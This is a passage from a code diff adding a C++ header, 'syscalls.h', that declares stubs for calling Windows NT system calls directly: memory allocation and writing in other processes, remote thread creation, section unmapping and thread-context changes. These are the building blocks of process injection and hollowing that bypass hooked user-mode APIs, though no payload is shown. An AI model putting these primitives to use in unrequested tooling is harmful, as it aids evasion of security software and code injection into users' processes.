return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount);
}
NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush)
{
return (NTSTATUS)SyscallTrampoline(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush);
}
+146
View File
@@ -0,0 +1,146 @@
// syscalls.h
// v0.14.2 (c) Alexander 'xaitax' Hagenah
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
#ifndef SYSCALLS_H
#define SYSCALLS_H
#include <Windows.h>
#ifndef NTSTATUS
using NTSTATUS = LONG;
#endif
struct SYSCALL_ENTRY
{
PVOID pSyscallGadget;
UINT nArgs;
WORD ssn;
};
struct SYSCALL_STUBS
{
SYSCALL_ENTRY NtAllocateVirtualMemory;
SYSCALL_ENTRY NtWriteVirtualMemory;
SYSCALL_ENTRY NtReadVirtualMemory;
SYSCALL_ENTRY NtCreateThreadEx;
SYSCALL_ENTRY NtFreeVirtualMemory;
SYSCALL_ENTRY NtProtectVirtualMemory;
SYSCALL_ENTRY NtOpenProcess;
SYSCALL_ENTRY NtGetNextProcess;
SYSCALL_ENTRY NtTerminateProcess;
SYSCALL_ENTRY NtQueryInformationProcess;
SYSCALL_ENTRY NtUnmapViewOfSection;
SYSCALL_ENTRY NtGetContextThread;
SYSCALL_ENTRY NtSetContextThread;
SYSCALL_ENTRY NtResumeThread;
SYSCALL_ENTRY NtFlushInstructionCache;
};
struct UNICODE_STRING_SYSCALLS
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
using PUNICODE_STRING_SYSCALLS = UNICODE_STRING_SYSCALLS *;
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING_SYSCALLS ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *;
enum PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessImageFileName = 27
};
struct PROCESS_BASIC_INFORMATION
{
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
};
using PPROCESS_BASIC_INFORMATION = PROCESS_BASIC_INFORMATION *;
struct PEB_LDR_DATA
{
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
};
using PPEB_LDR_DATA = PEB_LDR_DATA *;
struct RTL_USER_PROCESS_PARAMETERS
{
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING_SYSCALLS ImagePathName;
UNICODE_STRING_SYSCALLS CommandLine;
};
using PRTL_USER_PROCESS_PARAMETERS = RTL_USER_PROCESS_PARAMETERS *;
struct PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE BitField;
BYTE Reserved3[4];
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
};
using PPEB = PEB *;
struct CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
};
using PCLIENT_ID = CLIENT_ID *;
inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYSCALLS n, ULONG a, HANDLE r, PVOID s)
{
p->Length = sizeof(OBJECT_ATTRIBUTES);
p->RootDirectory = r;
p->Attributes = a;
p->ObjectName = n;
p->SecurityDescriptor = s;
p->SecurityQualityOfService = nullptr;
}
extern "C"
{
extern SYSCALL_STUBS g_syscall_stubs;
[[nodiscard]] BOOL InitializeSyscalls(bool is_verbose);
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
NTSTATUS NtCreateThreadEx_syscall(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID);
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG);
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
NTSTATUS NtOpenProcess_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
NTSTATUS NtGetNextProcess_syscall(HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE);
NTSTATUS NtTerminateProcess_syscall(HANDLE, NTSTATUS);
NTSTATUS NtQueryInformationProcess_syscall(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE, PVOID);
NTSTATUS NtGetContextThread_syscall(HANDLE, PCONTEXT);
NTSTATUS NtSetContextThread_syscall(HANDLE, PCONTEXT);
NTSTATUS NtResumeThread_syscall(HANDLE, PULONG);
NTSTATUS NtFlushInstructionCache_syscall(HANDLE, PVOID, ULONG);
}
#endif